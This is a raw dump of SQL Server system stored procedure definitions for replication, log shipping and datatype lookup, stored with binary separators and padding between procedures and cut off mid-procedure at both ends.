		if (@@ERROR != 0 OR @retcode != 0)
	    begin
	        RETURN (1)
	    end
    END
    ELSE
    BEGIN

        create table #art_commands
        (
    	    artid		int NOT NULL,
    	    commands	nvarchar(max) collate database_default null,
    	    id			int identity NOT NULL
        )

        /*
        ** Initializations.
        */
        select @has_ts = 0, @has_ident = 0


        -- get publication metadata
        SELECT	@is_synctran		= allow_sync_tran,
                @is_queued			= allow_queued_tran
        FROM	syspublications 
        WHERE	pubid = @pubid

        -- If the publication does not allow sync tran or queued tran return nothing
        IF (@is_synctran = 0 AND @is_queued = 0)
            RETURN(0)
        --
        -- get the distributor details for this publisher
        --
        if @trig_only = 0
        begin
            exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor OUTPUT
            if (@@ERROR != 0 OR @retcode != 0 or @distributor IS NULL)
            begin
                raiserror(14071, 16, -1)
                RETURN (1)
            end
        end
        else
        begin
            select @distributor = NULL
        end
        --
        -- validate @article
        --
        if lower(@article) = 'all'
            select @all_article = 1
        else
            select @all_article = 0
        --
        -- Process for each article in this metadata
        --
        DECLARE #hCsynctran_arts CURSOR LOCAL FAST_FORWARD FOR
	    SELECT	art.objid,
		    	art.name
	    FROM	sysarticles art,
	    		syspublications pub
	    WHERE	pub.pubid = @pubid
	      AND	pub.pubid = art.pubid
	      AND	(art.type & 0x1) = 1
	      AND	(art.name = @article OR @all_article = 1)
        FOR READ ONLY

        OPEN #hCsynctran_arts

        FETCH	#hCsynctran_arts
        INTO	@tabid,
    	    	@art_name
    
        WHILE (@@fetch_status <> -1)
        BEGIN
            -- Determine if table has timestamp property
            if ObjectProperty(@tabid, 'TableHasTimestamp') = 1 
        	    set @has_ts = 1
            if ObjectProperty(@tabid, 'TableHasIdentity') = 1 
        	    set @has_ident = 1

		    exec @retcode = sys.sp_MSarticle_synctran_commands
			    @publication = @publication
			    ,@article = @art_name
			    ,@command_only = 0  
			    ,@publisher = @publisher
			    ,@publisher_db = @publisher_db
			    ,@distributor = @distributor
			    ,@has_ts = @has_ts
			    ,@has_ident = @has_ident
                ,@trig_only = @trig_only
                ,@usesqlclr = @usesqlclr
			    -- omit @alter to get the default value, (0 for creation)
		    if (@@ERROR != 0 OR @retcode != 0)
	        begin
	            RETURN (1)
	        end
		    --
		    -- fetch metadata for next article
		    --
		    FETCH #hCsynctran_arts INTO @tabid, @art_name
        end
        CLOSE #hCsynctran_arts
        DEALLOCATE #hCsynctran_arts
        --
        -- Done with article related processing
        --
        if @command_only = 0 
            select * from #art_commands order by id
        else
            select commands from #art_commands order by id
        --
        -- all done
        --
    END
    return 0
END
0\“ 8--
-- Name: 
--		sp_MSgetdbversion
-- 
-- Description: 
--		Retrieves the guid restore version value and converts it to a nearly unique int.
-- 	
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
-- 
-- Security: 
--		Called by dist agents  (must be made public).
--		SYSADMIN or DBO of db
--  Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgetdbversion
(
	@current_version int output
)
as
begin
	declare @retcode int,
			@currentGuid uniqueidentifier

	-- Security Check
    if is_srvrolemember('sysadmin') != 1
    	and is_member ('db_owner') != 1
    begin
        raiserror (21050, 16, -1)
        return 1
    end
	
	select @currentGuid = recovery_fork_guid
		from sys.database_recovery_status
		where database_id = db_id()
	if @@error <> 0
		return 1
	
	select @current_version = substring(convert(binary(16), isnull(@currentGuid, 0x0)),1,6)

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_``<Eylh03 8
create procedure sys.sp_datatype_info_90
(
    @data_type int = 0,
    @ODBCVer tinyint = 2
)
as
    declare @mintype int
    declare @maxtype int

    set @ODBCVer = isnull(@ODBCVer, 2)
    if @ODBCVer < 3 -- includes ODBC 1.0 as well
        set @ODBCVer = 2
    else
        set @ODBCVer = 3

    if @data_type = 0
    begin
        select @mintype = -32768
        select @maxtype = 32767
    end
    else
    begin
        select @mintype = @data_type
        select @maxtype = @data_type
    end

    select
        TYPE_NAME           = v.TYPE_NAME,
        DATA_TYPE           = v.DATA_TYPE_90,          -- for backward compatibility
        PRECISION           = v.PRECISION,
        LITERAL_PREFIX      = v.LITERAL_PREFIX,
        LITERAL_SUFFIX      = v.LITERAL_SUFFIX,
        CREATE_PARAMS       = v.CREATE_PARAMS_90,      -- for backward compatibility
        NULLABLE            = v.NULLABLE,
        CASE_SENSITIVE      = v.CASE_SENSITIVE,
        SEARCHABLE          = v.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = v.UNSIGNED_ATTRIBUTE,
        MONEY               = v.MONEY,
        AUTO_INCREMENT      = v.AUTO_INCREMENT,
        LOCAL_TYPE_NAME     = v.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = v.MINIMUM_SCALE_90,      -- for backward compatibility
        MAXIMUM_SCALE       = v.MAXIMUM_SCALE_90,      -- for backward compatibility
        SQL_DATA_TYPE       = v.SQL_DATA_TYPE_90,      -- for backward compatibility
        SQL_DATETIME_SUB    = v.SQL_DATETIME_SUB_90,   -- for backward compatibility
        NUM_PREC_RADIX      = v.NUM_PREC_RADIX,
        INTERVAL_PRECISION  = v.INTERVAL_PRECISION,
        USERTYPE            = v.USERTYPE

    from
        sys.spt_datatype_info_view v

    where
        v.DATA_TYPE_90 between @mintype and @maxtype and
        v.ODBCVer = @ODBCVer

    order by 2, v.MAPPED_TYPE, 12, 11, 20
0@ 8
--
-- Name: sp_MShelp_subscriberside_history
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: internal
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelp_subscriberside_history
(
	@hours int = 0, /* @hours < 0 will return TOP 100, otherwise look back at only @hours */
	@session_type int = 1, /* 1 for succeed/retry sessions, otherwise failure sessions */	
	@publisher sysname = NULL, -- used to read subscriber-side monitoring tables.
	@publisher_db sysname = NULL, -- used to read subscriber-side monitoring tables.
	@publication sysname = NULL -- used to read subscriber-side monitoring tables.
)
as
begin
	set nocount on
	
    declare @min_time datetime
    declare @subid uniqueidentifier

    declare @succeed int    
    declare @retry int
    declare @failure int
    declare @max_session_id int
      
    select @succeed = 2
    select @retry = 5
    select @failure = 6
    
    select @subid = subid from dbo.sysmergesubscriptions where 
		UPPER(subscriber_server) = UPPER(@@servername)
		and db_name = db_name()
		and pubid in 
		(select pubid from dbo.sysmergepublications where
			upper (publisher) = upper (@publisher)
			and publisher_db = @publisher_db
			and name = @publication
			)
    
    select top 1 @max_session_id = session_id from dbo.MSmerge_sessions with (NOLOCK) 
		where subid = @subid
		order by session_id desc
    
    IF @hours < 0
	BEGIN
    	select top 100
		sessions.session_id as Session_id,
		isnull(sessions.runstatus,0) as Status,
		sessions.start_time as StartTime,
		sessions.end_time as EndTime,
		sessions.duration as Duration,
		sys.fn_replmerge_get_cmdcounts(sessions.session_id, 1) as UploadedCommands,
		sys.fn_replmerge_get_cmdcounts(sessions.session_id, 2) as DownloadedCommands,
		sys.fn_replmerge_get_errormsgcounts(sessions.session_id) as ErrorMessages,
		(
			select top 1 re.id from dbo.MSrepl_errors re
			where re.session_id = sessions.session_id
			order by re.id desc
		) as ErrorID,
		sessions.percent_complete as PercentageDone,
		sessions.time_remaining as TimeRemaining,
		sessions.current_phase_id as CurrentPhase,
		(
				select top 1 rh.comments from dbo.MSmerge_history rh 
				where rh.session_id = sessions.session_id
				order by rh.session_id desc, rh.timestamp desc
		) as LastMessage,
		--IsSpidActive = case when exists (select * from sys.dm_exec_sessions sp where sp.login_time = sessions.spid_login_time
		--										and sp.session_id = sessions.spid) then 1 else 0 end
		IsSpidActive = 1
		from dbo.MSmerge_sessions sessions
		where sessions.subid = @subid
		and sessions.session_id <= @max_session_id
		and             
		(
			(
				@session_type = 1 and
          		(
          			sessions.runstatus = @succeed 
          			or sessions.runstatus = @retry 
					or sessions.session_id = @max_session_id
				)
			) 
			or sessions.runstatus = @failure
		)
		order by sessions.start_time desc   	
	END
	ELSE
	BEGIN
		IF @hours = 0
		BEGIN
			select @min_time = NULL
		END
		ELSE
		BEGIN
			select @min_time = dateadd(hour, -@hours, getdate())
		END
		-- phase is ReconcilerMsg.lPhase: UPLOAD_PHASE as 1 and DOWNLOAD_PHASE as 2, schema changes as 3
		-- dbo.MSmerge_articlehistory.phase_id
		select 
		sessions.session_id as Session_id,
		isnull(sessions.runstatus,0) as Status,
		sessions.start_time as StartTime,
		sessions.end_time as EndTime,
		sessions.duration as Duration,
		sys.fn_replmerge_get_cmdcounts(sessions.session_id, 1) as UploadedCommands,
		sys.fn_replmerge_get_cmdcounts(sessions.session_id, 2) as DownloadedCommands,
		sys.fn_replmerge_get_errormsgcounts(sessions.session_id) as ErrorMessages,
		(
			select top 1 re.id from dbo.MSrepl_errors re
			where re.session_id = sessions.session_id
			order by re.id desc
		) as ErrorID,
		sessions.percent_complete as PercentageDone,
		sessions.time_remaining as TimeRemaining,
		sessions.current_phase_id as CurrentPhase,
		(
				select top 1 rh.comments from dbo.MSmerge_history rh 
				where rh.session_id = sessions.session_id
				order by rh.session_id desc, rh.timestamp desc
		) as LastMessage,
		--IsSpidActive = case when exists (select * from sys.dm_exec_sessions sp where sp.login_time = sessions.spid_login_time
		--										and sp.session_id = sessions.spid) then 1 else 0 end
		IsSpidActive = 1
		from dbo.MSmerge_sessions sessions
		where sessions.subid = @subid
		and sessions.session_id <= @max_session_id
		and             
		(
			(
				@session_type = 1 and
          		(
          			sessions.runstatus = @succeed 
          			or sessions.runstatus = @retry 
					or sessions.session_id = @max_session_id
				)
			) 
			or sessions.runstatus = @failure
		)
		and (sessions.end_time >= @min_time or @min_time IS NULL)
		order by sessions.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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,	`f	3<	N%tZ0J 8
CREATE PROCEDURE sys.sp_MSdrop_expired_subscription
(
    @publisher sysname = NULL
)
AS
BEGIN
    set nocount on
	DECLARE	@independent_agent  bit,
			@article            sysname,
			@publication        sysname,
			@pubid              int,
			@artid              int,
			@loc_publisher      sysname,
			@subscriber         sysname,
			@subscriber_id      smallint,
			@subscriber_db      sysname,
			@publisher_db       sysname,
			@out_of_date        int,
			@distributor        sysname,
			@distribdb          sysname,
			@retention          int,			-- in days         
			@retcode            smallint,
			@distproc           nvarchar(255),
			@localproc          nvarchar(255),
			@msg                nvarchar(255),
			@open_cursor        nvarchar(400),
			@cutoff_date		datetime,
			@publisher_type		sysname

	-- TEMP TABLE for publication id's
	CREATE TABLE #publication_ids (pubid int)
	
	--
    -- Security Check.
	--
	EXEC @retcode = sys.sp_MSreplcheck_publish
    IF (@@ERROR != 0 OR @retcode != 0)
    BEGIN
        RETURN (1)
    END

    --
    -- Get distribution server information for remote RPC call.
    --
	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@rpcsrvname     = @distributor    OUTPUT,
														@distribdb      = @distribdb      OUTPUT,
														@publisher_type = @publisher_type OUTPUT

	IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (20036, 16, -1)
        return (1)
    END

	-- Get list of matching publication id's for
	-- this publisher/type combo
	INSERT INTO #publication_ids
	SELECT pubid
	FROM   sys.fn_IHgetpubid(N'%', @publisher, @publisher_type)

	    
	IF (@publisher_type = N'MSSQLSERVER')
	BEGIN
		SELECT	@distproc      = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + N'.',
				@loc_publisher = publishingservername(),
				@publisher_db  = db_name()
	END
	ELSE
	BEGIN
		SELECT	@distproc      = N'',
				@loc_publisher = @publisher,
				@publisher_db  = @distribdb
	END

	SELECT @distproc =	@distproc + N'sys.sp_MShelp_subscription_status '

	DECLARE PC CURSOR LOCAL FAST_FORWARD FOR
	SELECT DISTINCT name, pubid, independent_agent, retention
	FROM   syspublications p
	WHERE  p.pubid IN (SELECT pids.pubid FROM #publication_ids pids)
	
    OPEN PC
    FETCH PC INTO @publication, @pubid, @independent_agent, @retention
    
    WHILE (@@fetch_status != -1)
    BEGIN
        -- Don't do anything if the retention is zero, this means
        -- subscriptions to the publication will never expire
        IF (@retention != 0)
        BEGIN
	        DECLARE SC CURSOR LOCAL FAST_FORWARD FOR
	        SELECT	s.srvid,
	        		s.dest_db,
	        		a.name
	        		,s.srvname
	        FROM	syssubscriptions s,
	        		sysextendedarticlesview a 
            WHERE	a.pubid  = @pubid
              AND	s.artid  = a.artid
              AND	s.srvid != -1 
            FOR READ ONLY

	        OPEN SC
	        FETCH SC into @subscriber_id, @subscriber_db, @article, @subscriber
	        
	        WHILE (@@fetch_status <> -1)
            BEGIN
                
                EXEC @retcode = @distproc	@publisher         = @loc_publisher, 
											@publisher_db      = @publisher_db, 
											@publication       = @publication, 
											@subscriber        = @subscriber, 
											@subscriber_db     = @subscriber_db,
											@retention         = @retention,
											@out_of_date       = @out_of_date OUTPUT,
											@independent_agent = @independent_agent
											
                IF (@retcode != 0 OR @@ERROR != 0)
                BEGIN
                    CLOSE SC
                    DEALLOCATE SC
                    CLOSE PC
                    DEALLOCATE PC
                    RETURN (1)
                END

                IF (@out_of_date = 1)
                begin
	                -- publisher_db.dbo.sp_dropsubscription
                    EXEC @retcode =	sys.sp_dropsubscription	@publication    = @publication,
															@article        = @article,
															@subscriber     = @subscriber,
															@destination_db = @subscriber_db,
															@reserved       = 'internal',
															@publisher		= @publisher
	                IF (@retcode != 0 OR @@ERROR != 0)
	                BEGIN
	                    CLOSE SC
	                    DEALLOCATE SC
	                    CLOSE PC
	                    DEALLOCATE PC
	                    RETURN (1)
	                END

                    RAISERROR(14157, 10, -1, @subscriber, @publication) 
                END

                FETCH SC INTO @subscriber_id, @subscriber_db, @article, @subscriber
            END

	        CLOSE SC
	        DEALLOCATE SC

			IF (@publisher_type = N'MSSQLSERVER')
			BEGIN
				-- cleanup the P2P request response history meta-data based on publication retention
				SELECT @cutoff_date = DATEADD(hour, -@retention, GETDATE())
				
				EXEC @retcode = sys.sp_deletepeerrequesthistory @publication = @publication,
																@cutoff_date = @cutoff_date
	            IF (@retcode != 0 OR @@ERROR != 0)
				BEGIN
					CLOSE PC
					DEALLOCATE PC
					RETURN (1)
				END
			END
		END

        FETCH PC INTO @publication, @pubid, @independent_agent, @retention
    END

    CLOSE PC
    DEALLOCATE PC
    --
    -- cleanup expired queued conflict table entries
    --
	IF (@publisher_type = N'MSSQLSERVER')
	BEGIN
	    exec @retcode = sys.sp_MScleanup_conflict_table
	    if @@ERROR<>0 or @retcode<>0
	        return (1)
    END
    --
    -- all done
    --
    RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		<`Z?,k0T  8create procedure sys.sp_MSverifytranfilter @objid int
as
DECLARE @artname sysname
DECLARE @sync_objid int
DECLARE @qual_sync_object nvarchar(1024)

DECLARE #testcursor CURSOR LOCAL FAST_FORWARD for
    SELECT name, sync_objid from sysarticles
    WHERE  objid = @objid
    
open #testcursor
fetch #testcursor into @artname, @sync_objid
while @@fetch_status <> -1
begin
    select @qual_sync_object = quotename( schema_name(objectproperty(@sync_objid,'SchemaId'))) collate database_default + N'.' + quotename(object_name(@sync_objid)) collate database_default

    exec ( N'declare @var int select @var = count(*) from '+ @qual_sync_object + N' where 0 = 1' )

    if @@ERROR<> 0
    BEGIN
        raiserror( 14090, 16, -1, @artname )
        return 1
    END
    fetch #testcursor into @artname, @sync_objid
end
close #testcursor
deallocate #testcursor
return 0
0+$ P8Th>S00 :8create function sys.fn_MSmerge_GetPALRole (@pubid uniqueidentifier)
returns sysname
as
begin
    declare @role sysname
    declare @pubidstr nvarchar(36)
    
    select @pubidstr = sys.fn_MSguidtostr(@pubid)
    set @role = 'MSmerge_' + @pubidstr

    return @role
end
0$L4@ 8CREATE PROCEDURE sys.sp_MSreset_transaction 
(
    @publisher sysname,
    @publisher_db sysname,
    @xact_seqno varbinary(10)
) 
AS
begin
    SET NOCOUNT ON
	--
	-- security check
	-- only db_owner can execute this
	--

    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	declare @publisher_database_id int

	select @publisher_database_id = a.id	
			from dbo.MSpublisher_databases a join master.dbo.sysservers b on  a.publisher_id = b.srvid
		where a.publisher_db = @publisher_db
			and upper(b.srvname) = upper(@publisher) collate database_default

	if @@error<>0
		return 1 

	insert dbo.MSrepl_transactions (publisher_database_id, xact_id, xact_seqno, entry_time) 
				values 	(@publisher_database_id, @xact_seqno, @xact_seqno, GetDate())
	if @@error<>0
		return 1 
	return 0
end
0Jc9@ 8create procedure sys.sp_delete_log_shipping_primary_secondary 
(
    @primary_database sysname
    ,@secondary_server sysname
    ,@secondary_database sysname
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Primary database should exist
    --
    select @primary_id = primary_id
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @primary_database
    if (@primary_id is null)
    begin
        raiserror(32010, 10, 5, @primary_database)
        return 0
    end
    --
    -- delete secondary if it exists
    --
    if exists (select * from msdb.dbo.log_shipping_primary_secondaries
                where primary_id = @primary_id
                    and secondary_server = upper(@secondary_server)
                    and secondary_database = @secondary_database)
    begin
        delete msdb.dbo.log_shipping_primary_secondaries
                where primary_id = @primary_id
                    and secondary_server = upper(@secondary_server)
                    and secondary_database = @secondary_database
    end
    --
    -- all done
    --
    return 0
end
0V, D8tnh

.
er
        --
        SELECT @loc_distribdb = msd.distribution_db,
                @loc_publishertype = msd.publisher_type,
                @loc_publisherid = ss.server_id,
                @loc_working_directory = msd.working_directory,
                @loc_version = @@microsoftversion
        FROM msdb.dbo.MSdistpublishers as msd join sys.servers as ss 
            ON msd.name = UPPER(ss.name collate database_default )
                AND msd.name = @publisher
        IF (@@ERROR != 0) -- OR @loc_distribdb IS NULL
            RETURN (1)
    end
    else
    begin
        --
        -- invoked on publisher with remote distributor
        --
        SELECT @proc = @dist_rpcname + N'.master.sys.sp_MSrepl_getdistributorinfo'
        EXECUTE @retcode = @proc @distributor  = @loc_distributor OUTPUT, 
                                 @distribdb      = @loc_distribdb OUTPUT, 
                                 @publisher      = @publisher,
                                 @local          = @local,
                                 @publisher_type = @loc_publishertype OUTPUT,
                                 @publisher_id   = @loc_publisherid OUTPUT,
                                 @working_directory = @loc_working_directory OUTPUT,
                                 @version = @loc_version OUTPUT
        IF @retcode <> 0 or @@ERROR <> 0
        RETURN (1)
    end
    --
    -- Return output parameters
    -- NOTE: For HREPL, treat the RPC name as the same as the distributor name
    -- to avoid using RPC calls for HREPL since all HREPL is local
    --
    SELECT  @distributor = @loc_distributor,
                @distribdb = @loc_distribdb,
                @publisher_type = @loc_publishertype,
                @publisher_id = @loc_publisherid,
                @working_directory = @loc_working_directory,
                @version = @loc_version,
                -- Remote distributor or local with non-sysadmin rights
                @rpcsrvname = @loc_rpcsrvname
    --
    -- BUGBUG : The value for @rpcsrvname must match the value returned
    --  by sp_helpdistributor or we will see indefinite blocking  
    --  in some areas of our code. Example-incremental add article.
    --  So if you make a change here make it in sp_helpdistributor
    --
    -- For the following cases use LOCAL SERVER NAME
    --  1. Hetero will always use local server
    --  2. Local distributor with sysadmin access (used to avoid blocking issues)
    --
    if (@loc_publishertype != N'MSSQLSERVER' 
        OR (IS_SRVROLEMEMBER('sysadmin') = 1 
            AND @loc_distributor = UPPER(@@SERVERNAME)))
    begin
        select @rpcsrvname = name
        from sys.servers
        where UPPER(name collate database_default ) = @loc_distributor
    end
    -- all done
    return 0
END
0$L4@ 8CREATE PROCEDURE sys.sp_MSreset_transaction 
(
    @publisher sysname,
    @publisher_db sysname,
    @xact_seqno varbinary(10)
) 
AS
begin
    SET NOCOUNT ON
	--
	-- security check
	-- only db_owner can execute this
	--

    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	declare @publisher_database_id int

	select @publisher_database_id = a.id	
			from dbo.MSpublisher_databases a join master.dbo.sysservers b on  a.publisher_id = b.srvid
		where a.publisher_db = @publisher_db
			and upper(b.srvname) = upper(@publisher) collate database_default

	if @@error<>0
		return 1 

	insert dbo.MSrepl_transactions (publisher_database_id, xact_id, xact_seqno, entry_time) 
				values 	(@publisher_database_id, @xact_seqno, @xact_seqno, GetDate())
	if @@error<>0
		return 1 
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	J`C<{IE0 #8create procedure sys.sp_MSscript_insert_statement(
    @objid int,
    @artid int,
    @identity_insert bit = 0,
    @queued_pub bit = 0
    )
as
BEGIN
    declare @cmd          nvarchar(4000)
                ,@qualname     nvarchar(517)
                ,@tablename     nvarchar(517)
                ,@colname      sysname
                ,@ccoltype     sysname
                ,@this_col     int
                ,@rc           int
                ,@num_col      int
                ,@column_string nvarchar(4000)
                ,@var_string nvarchar(4000)
                ,@hfilterprocid int
                ,@sync_objid int
                ,@identityscriptedasbasedatatypeonsubscriber bit

    --
    -- Check if we have horizontal partition filter
    --
    select @hfilterprocid = filter, @sync_objid = sync_objid from dbo.sysarticles where artid = @artid
    if (@hfilterprocid = 0)
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the source object
        --
        exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
        select @tablename = @qualname
    end
    else
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the view object
        --
        exec sys.sp_MSget_qualified_name @sync_objid, @qualname OUTPUT
        exec sys.sp_MSget_qualified_name @objid, @tablename OUTPUT
    end
    --
    -- For identity column processing - see if base data is being scripted on subscriber
    -- For queued or failover this will never be true, we need to really 
    -- check it only for pure immediate case
    --
    select @identityscriptedasbasedatatypeonsubscriber = 0
    if (@queued_pub = 0) and (@identity_insert = 1)
    begin
        -- immediate updating only with an identity column
        select @identityscriptedasbasedatatypeonsubscriber = case when (cast(schema_option as int) & 0x4 = 0) then 1 else 0 end
        from sysarticles where artid = @artid
    end
    --
    -- start scripting
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- detection/conflict resolution stage
    ' + N'--'
    --
    -- Queued specific
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        save tran cftpass'
    end
    insert into #proctext(procedure_text) values( @cmd) 
    --
    -- set identity_insert on if subscriber is also using it as identity
    --
    if (@identity_insert = 1 and @identityscriptedasbasedatatypeonsubscriber = 0)
    begin
        select @cmd = N'
    set identity_insert ' + @tablename + ' on'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- prepare the insert statement now
    --
    select @cmd = N'
    insert into ' + @qualname + N'( '
    insert into #proctext(procedure_text) values( @cmd )
    -- Generate strings for col names and variables
    select @num_col = 0
            ,@cmd = N''

    DECLARE #hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select column_id from sys.columns where object_id = @objid order by column_id asc

    open #hCColid
    fetch #hCColid into @this_col
    while (@@fetch_status != -1)
    begin
        exec @rc = sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
        if @rc = 0  and exists (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
        begin
            -- skip the column if it is timestamp or it is an identity that is being scripted as base data on subscriber
            if (@ccoltype != N'timestamp') and 
                not(columnproperty(@objid, @colname, 'IsIdentity') = 1 and @identityscriptedasbasedatatypeonsubscriber=1)
            begin
                select @num_col = @num_col + 1
                if @num_col > 1
                    select @cmd = @cmd + N', '
                select @cmd = @cmd + quotename(@colname)            
                exec sys.sp_MSflush_command @cmd output, 1
            end
        end
        fetch #hCColid into @this_col
    end
    close #hCColid
    --
    -- Script end of colmn names
    --
    select @cmd = N' )'
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- Script column value string
    --
    if @num_col > 0
    begin
        select @cmd = N'
    values ( '
        insert into #proctext(procedure_text) values( @cmd )
        -- Script column value string
        select @num_col = 0
                ,@cmd = N''

        open #hCColid
        fetch #hCColid into @this_col
        while (@@fetch_status != -1)
        begin
            exec @rc = sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
            if @rc = 0  and exists (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
            begin
                -- skip the column if it is timestamp or it is an identity that is being scripted as base data on subscriber
                if (@ccoltype != N'timestamp') and 
                    not(columnproperty(@objid, @colname, 'IsIdentity') = 1 and @identityscriptedasbasedatatypeonsubscriber=1)
                begin
                    select @num_col = @num_col + 1
                    if @num_col > 1
                        select @cmd = @cmd + N', '
                    select @cmd = @cmd + N'@c' + cast(@this_col as nvarchar(4))             
                    exec sys.sp_MSflush_command @cmd output, 1
                end
            end
            fetch #hCColid into @this_col
        end
        close #hCColid
        -- Script end of column value string
        select @cmd = N' )
    '
        insert into #proctext(procedure_text) values( @cmd )
    end
    else
    begin
        -- This is to set @@rowcount.
